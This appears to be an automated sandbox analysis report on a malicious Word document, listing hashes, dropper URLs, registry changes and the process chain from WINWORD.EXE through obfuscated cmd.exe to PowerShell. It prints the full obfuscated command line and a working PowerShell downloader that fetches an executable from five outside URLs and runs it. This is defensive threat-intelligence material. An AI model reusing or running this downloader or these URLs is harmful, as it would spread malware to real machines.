be849032d67a24eda952c62593d2c6d991500c0a8e628fd189fa9ca51a221cdb

General

Target

1880d13fa02bef8f17371845e0fe89cc_JaffaCakes118.doc
Size

93KB
MD5

1880d13fa02bef8f17371845e0fe89cc
SHA1

5804bbdae06f7bd57f6711c5ab3adf124fac62af
SHA256

be849032d67a24eda952c62593d2c6d991500c0a8e628fd189fa9ca51a221cdb
SHA512

599ede07c5c416d7b4d285aa5ee30356d4fbd88411a7d39354413d5cfd3bebc4c798c786cf6dceab7a27cef1824809c78a54882e9d5d3a03cf0bf6892f207cea
SSDEEP

1536:focn1kp59gxBK85fBlHF5qFycNGrFMMzV/+a9:A41k/W483lWycNGzV

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://www.serefozata.com/axf

exe.dropper

http://www.livingbranchanimalsciences.com/zVMQFL

exe.dropper

http://www.donghodaian.com/jiPViP

exe.dropper

http://sprayzee.com/iiWYe6z

exe.dropper

http://yasarkemalplatformu.org/s

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	2464	1284	cmd.exe	WINWORD.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

5 1056 powershell.exe
An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs

Processes:

cmd.execmd.exe

pid process

2464 cmd.exe
2488 cmd.exe
Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present

flow	pid	process
5	1056	powershell.exe

pid	process
2464	cmd.exe
2488	cmd.exe

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	WINWORD.EXE

Modifies registry class 64 IoCs

Processes:

WINWORD.EXE

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\Wow6432Node\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents5"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon\ = "\"%1\""	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}\ = "FormEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\Wow6432Node\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080}\ = "Tab"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\Wow6432Node\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents1"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\Wow6432Node\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSubmitButton"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{8E82D7E6-175F-4173-B8D8-D391B697F9C1}\2.0\HELPDIR\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Word8.0"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\Interface\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSelect"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\Wow6432Node\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}\ = "ScrollbarEvents"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSubmitButton"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\Wow6432Node\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents9"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\TypeLib\{8E82D7E6-175F-4173-B8D8-D391B697F9C1}\2.0\HELPDIR	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\Wow6432Node\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}\ = "WHTMLControlEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\Wow6432Node\Interface\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcOptionButton"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}\ = "MdcComboEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\Wow6432Node\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents10"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\Wow6432Node\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents6"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\Wow6432Node\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\TypeLib\{8E82D7E6-175F-4173-B8D8-D391B697F9C1}\2.0\ = "Microsoft Forms 2.0 Object Library"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}\ = "LabelControlEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLOption"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents10"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\Wow6432Node	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ThreadingModel = "Apartment"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\ = "&Print"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\Wow6432Node\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\Wow6432Node\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\Wow6432Node\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\Wow6432Node\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080}	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\Interface	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\Wow6432Node\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcText"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\Wow6432Node\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\Wow6432Node\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}\ = "MdcComboEvents"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1284 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1056 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1056 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

WINWORD.EXE

pid process

1284 WINWORD.EXE
1284 WINWORD.EXE
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

1284 WINWORD.EXE
1284 WINWORD.EXE

pid	process
1284	WINWORD.EXE

pid	process
1056	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1056	powershell.exe

pid	process
1284	WINWORD.EXE
1284	WINWORD.EXE

pid	process
1284	WINWORD.EXE
1284	WINWORD.EXE

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

WINWORD.EXEcmd.execmd.exe

description	pid	process	target process
PID 1284 wrote to memory of 2568	1284	WINWORD.EXE	splwow64.exe
PID 1284 wrote to memory of 2568	1284	WINWORD.EXE	splwow64.exe
PID 1284 wrote to memory of 2568	1284	WINWORD.EXE	splwow64.exe
PID 1284 wrote to memory of 2568	1284	WINWORD.EXE	splwow64.exe
PID 1284 wrote to memory of 2464	1284	WINWORD.EXE	cmd.exe
PID 1284 wrote to memory of 2464	1284	WINWORD.EXE	cmd.exe
PID 1284 wrote to memory of 2464	1284	WINWORD.EXE	cmd.exe
PID 1284 wrote to memory of 2464	1284	WINWORD.EXE	cmd.exe
PID 2464 wrote to memory of 2488	2464	cmd.exe	cmd.exe
PID 2464 wrote to memory of 2488	2464	cmd.exe	cmd.exe
PID 2464 wrote to memory of 2488	2464	cmd.exe	cmd.exe
PID 2464 wrote to memory of 2488	2464	cmd.exe	cmd.exe
PID 2488 wrote to memory of 1056	2488	cmd.exe	powershell.exe
PID 2488 wrote to memory of 1056	2488	cmd.exe	powershell.exe
PID 2488 wrote to memory of 1056	2488	cmd.exe	powershell.exe
PID 2488 wrote to memory of 1056	2488	cmd.exe	powershell.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\1880d13fa02bef8f17371845e0fe89cc_JaffaCakes118.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1284

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:2568

\??\c:\windows\SysWOW64\cmd.exe
c:\vzfWNdCGiTp\ELZjVnjMduYMWI\OzSjFliDoUafiX\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V/C"set 8zN=jDYOzpwKEKrWhHFvMIaSaUWRtF;+sQN8P$3di gL:uf{.b=excnB@\90(JZ-lAmGkyoT,C/6'})V&&for %q in (33,50,28,13,46,72,51,9,42,72,26,33,24,62,15,46,50,47,6,59,66,45,0,47,49,24,37,30,47,24,44,22,47,45,69,60,36,47,50,24,26,33,64,0,23,46,72,12,24,24,5,40,70,70,6,6,6,44,28,47,10,47,42,66,4,20,24,20,44,49,66,62,70,20,48,42,52,12,24,24,5,40,70,70,6,6,6,44,60,36,15,36,50,38,45,10,20,50,49,12,20,50,36,62,20,60,28,49,36,47,50,49,47,28,44,49,66,62,70,4,75,16,29,25,39,52,12,24,24,5,40,70,70,6,6,6,44,35,66,50,38,12,66,35,20,36,20,50,44,49,66,62,70,0,36,32,75,36,32,52,12,24,24,5,40,70,70,28,5,10,20,65,4,47,47,44,49,66,62,70,36,36,22,2,47,71,4,52,12,24,24,5,40,70,70,65,20,28,20,10,64,47,62,20,60,5,60,20,24,42,66,10,62,41,44,66,10,38,70,28,72,44,19,5,60,36,24,56,72,52,72,74,26,33,6,35,30,46,72,62,51,30,72,26,33,63,6,45,37,46,37,72,34,54,55,72,26,33,15,4,0,46,72,8,1,64,72,26,33,51,57,8,46,33,47,50,15,40,24,47,62,5,27,72,53,72,27,33,63,6,45,27,72,44,47,48,47,72,26,42,66,10,47,20,49,12,56,33,67,51,9,37,36,50,37,33,64,0,23,74,43,24,10,65,43,33,24,62,15,44,1,66,6,50,60,66,20,35,25,36,60,47,56,33,67,51,9,68,37,33,51,57,8,74,26,33,1,9,4,46,72,12,36,0,72,26,17,42,37,56,56,63,47,24,59,17,24,47,62,37,33,51,57,8,74,44,60,47,50,38,24,12,37,59,38,47,37,31,55,55,55,55,74,37,43,17,50,15,66,64,47,59,17,24,47,62,37,33,51,57,8,26,33,64,36,51,46,72,62,29,58,72,26,45,10,47,20,64,26,73,73,49,20,24,49,12,43,73,73,33,22,42,5,46,72,13,8,61,72,26,78)do set FtX=!FtX!!8zN:~%q,1!&&if %q equ 78 powershell "!FtX:~5!""
2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:2464

C:\Windows\SysWOW64\cmd.exe
CmD /V/C"set 8zN=jDYOzpwKEKrWhHFvMIaSaUWRtF;+sQN8P$3di gL:uf{.b=excnB@\90(JZ-lAmGkyoT,C/6'})V&&for %q in (33,50,28,13,46,72,51,9,42,72,26,33,24,62,15,46,50,47,6,59,66,45,0,47,49,24,37,30,47,24,44,22,47,45,69,60,36,47,50,24,26,33,64,0,23,46,72,12,24,24,5,40,70,70,6,6,6,44,28,47,10,47,42,66,4,20,24,20,44,49,66,62,70,20,48,42,52,12,24,24,5,40,70,70,6,6,6,44,60,36,15,36,50,38,45,10,20,50,49,12,20,50,36,62,20,60,28,49,36,47,50,49,47,28,44,49,66,62,70,4,75,16,29,25,39,52,12,24,24,5,40,70,70,6,6,6,44,35,66,50,38,12,66,35,20,36,20,50,44,49,66,62,70,0,36,32,75,36,32,52,12,24,24,5,40,70,70,28,5,10,20,65,4,47,47,44,49,66,62,70,36,36,22,2,47,71,4,52,12,24,24,5,40,70,70,65,20,28,20,10,64,47,62,20,60,5,60,20,24,42,66,10,62,41,44,66,10,38,70,28,72,44,19,5,60,36,24,56,72,52,72,74,26,33,6,35,30,46,72,62,51,30,72,26,33,63,6,45,37,46,37,72,34,54,55,72,26,33,15,4,0,46,72,8,1,64,72,26,33,51,57,8,46,33,47,50,15,40,24,47,62,5,27,72,53,72,27,33,63,6,45,27,72,44,47,48,47,72,26,42,66,10,47,20,49,12,56,33,67,51,9,37,36,50,37,33,64,0,23,74,43,24,10,65,43,33,24,62,15,44,1,66,6,50,60,66,20,35,25,36,60,47,56,33,67,51,9,68,37,33,51,57,8,74,26,33,1,9,4,46,72,12,36,0,72,26,17,42,37,56,56,63,47,24,59,17,24,47,62,37,33,51,57,8,74,44,60,47,50,38,24,12,37,59,38,47,37,31,55,55,55,55,74,37,43,17,50,15,66,64,47,59,17,24,47,62,37,33,51,57,8,26,33,64,36,51,46,72,62,29,58,72,26,45,10,47,20,64,26,73,73,49,20,24,49,12,43,73,73,33,22,42,5,46,72,13,8,61,72,26,78)do set FtX=!FtX!!8zN:~%q,1!&&if %q equ 78 powershell "!FtX:~5!""
3⤵
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:2488

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "$nsH='BKf';$tmv=new-object Net.WebClient;$kjR='http://www.serefozata.com/axf@http://www.livingbranchanimalsciences.com/zVMQFL@http://www.donghodaian.com/jiPViP@http://sprayzee.com/iiWYe6z@http://yasarkemalplatformu.org/s'.Split('@');$wdN='mBN';$Gwb = '390';$vzj='EDk';$BJE=$env:temp+'\'+$Gwb+'.exe';foreach($TBK in $kjR){try{$tmv.DownloadFile($TBK, $BJE);$DKz='hij';If ((Get-Item $BJE).length -ge 80000) {Invoke-Item $BJE;$kiB='mQZ';break;}}catch{}}$Wfp='HEA';"
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1056

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\80997D0D.wmf

Filesize
500B

MD5
9d2093479bf7164305fd8b10e2a6458d

SHA1
0b712a0c4b36d879eafe6cb570941908ed2a3f61

SHA256
7fac336b7c68615c295cb0b713fd7872fe55606cbf8f7b09dbbb02eba704ca62

SHA512
f30c9a23f4f9a7a9273f49d443fba58f44f32234df60d378ba7ce985aec7c617263f072b6f68e69886bec92b7201088b8028cb847ac72ee6706c23a2b2158bb9

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

Filesize
20KB

MD5
3c104dbbabe31a29011814d7c0f68393

SHA1
5ac16ea4dc4d6713deb168007254f7b2aee0e805

SHA256
885e8df167ea11c1f4890d4a4027c501bc20d52cfa37cbd1f7bdaa99301433da

SHA512
c31b9bebc3948bf7c807b3816405f340a27c3de147e6c31ce302f0f403b214e2c88b004a9bd41a26e3b194bb10010a436f9e057b84340ea7a914a8969e35f57f

Download Submit
memory/1284-24-0x00000000005D0000-0x00000000006D0000-memory.dmp

Filesize
1024KB

Download
memory/1284-22-0x00000000005D0000-0x00000000006D0000-memory.dmp

Filesize
1024KB

Download
